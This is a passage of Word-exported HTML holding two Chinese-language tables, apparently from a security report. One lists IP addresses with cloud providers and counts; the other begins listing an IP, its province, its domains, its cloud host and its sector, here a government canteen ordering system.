style=\"width:4.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span class=\"GramE\"><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman"\">腾讯云</span></span></p>\n </div>\n </td>\n <td width=\"142\" nowrap=\"\" style=\"width:106.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">8</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\">128.199.244.30</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"151\" nowrap=\"\" valign=\"top\" style=\"width:4.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"SpellE\"><span lang=\"EN-US\">DigitalOcean</span></span></p>\n </td>\n <td width=\"142\" nowrap=\"\" style=\"width:106.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">3</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:6;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">159.89.127.186</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"151\" nowrap=\"\" valign=\"top\" style=\"width:4.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span class=\"SpellE\"><span lang=\"EN-US\">DigitalOcean</span></span></p>\n </td>\n <td width=\"142\" nowrap=\"\" style=\"width:106.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">3</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\">137.184.134.47</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"151\" nowrap=\"\" valign=\"top\" style=\"width:4.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"SpellE\"><span lang=\"EN-US\">DigitalOcean</span></span></p>\n </td>\n <td width=\"142\" nowrap=\"\" style=\"width:106.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">2</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\">157.245.255.84</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"151\" nowrap=\"\" valign=\"top\" style=\"width:4.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span class=\"SpellE\"><span lang=\"EN-US\">DigitalOcean</span></span></p>\n </td>\n <td width=\"142\" nowrap=\"\" style=\"width:106.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">2</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\">167.172.174.51</span></strong><strong><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"151\" nowrap=\"\" valign=\"top\" style=\"width:4.0cm;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span class=\"SpellE\"><span lang=\"EN-US\">DigitalOcean</span></span></p>\n </td>\n <td width=\"142\" nowrap=\"\" style=\"width:106.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">2</span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:729.8pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><strong><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">IP</span></strong><strong><span style=\"font-family:宋体;mso-ascii-font-family:\n "Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\">地址</span><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" valign=\"top\" style=\"width:83.3pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><strong><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">IP</span></strong><strong><span style=\"font-family:宋体;mso-ascii-font-family:\n "Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\">所在省份</span><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><strong><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">域名</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><span class=\"GramE\"><strong><span style=\"font-family:宋体;mso-ascii-font-family:\n "Times New Roman";mso-hansi-font-family:"Times New Roman";color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\">云服务</span></strong></span><strong><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">商</span><span lang=\"EN-US\" style=\"color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:solid #A5A5A5 1.0pt;mso-border-top-themecolor:\n accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;mso-border-bottom-themecolor:\n accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;mso-border-top-themecolor:\n accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;mso-border-bottom-themecolor:\n accent3;background:#A5A5A5;mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;\n height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><strong><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">行业</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></strong></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><strong><span style=\"font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">网站内容</span><span lang=\"EN-US\" style=\"color:white;\n mso-themecolor:background1;mso-font-kerning:0pt\"><o:p></o:p></span></strong></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><strong><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">123.57.8.100<o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" style=\"width:83.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">北京市</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"208\" nowrap=\"\" style=\"width:155.95pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">dgz.szwkzh.cn<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">xfjl.szwkzh.cn<o:p></o:p></span></p>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">jsst.szwkzh.cn<o:p></o:p></span></p>\n </td>\n <td width=\"114\" nowrap=\"\" style=\"width:85.35pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">阿里云</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"85\" style=\"width:63.5pt;border-top:none;border-left:none;border-bottom:\n solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;mso-border-bottom-themetint:\n 153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:accent3;\n mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">政府机关</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n <td width=\"340\" nowrap=\"\" style=\"width:9.0cm;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span style=\"font-size:11.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:black\">多地政府机关食堂订餐系统</span><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:10.8pt\">\n <td width=\"115\" nowrap=\"\" style=\"width:86.55pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><strong><span lang=\"EN-US\" style=\"font-size:11.0pt;color:black\">8.142.72.84<o:p></o:p></span></strong></p>\n </td>\n <td width=\"111\" style=\"width:83.3pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n 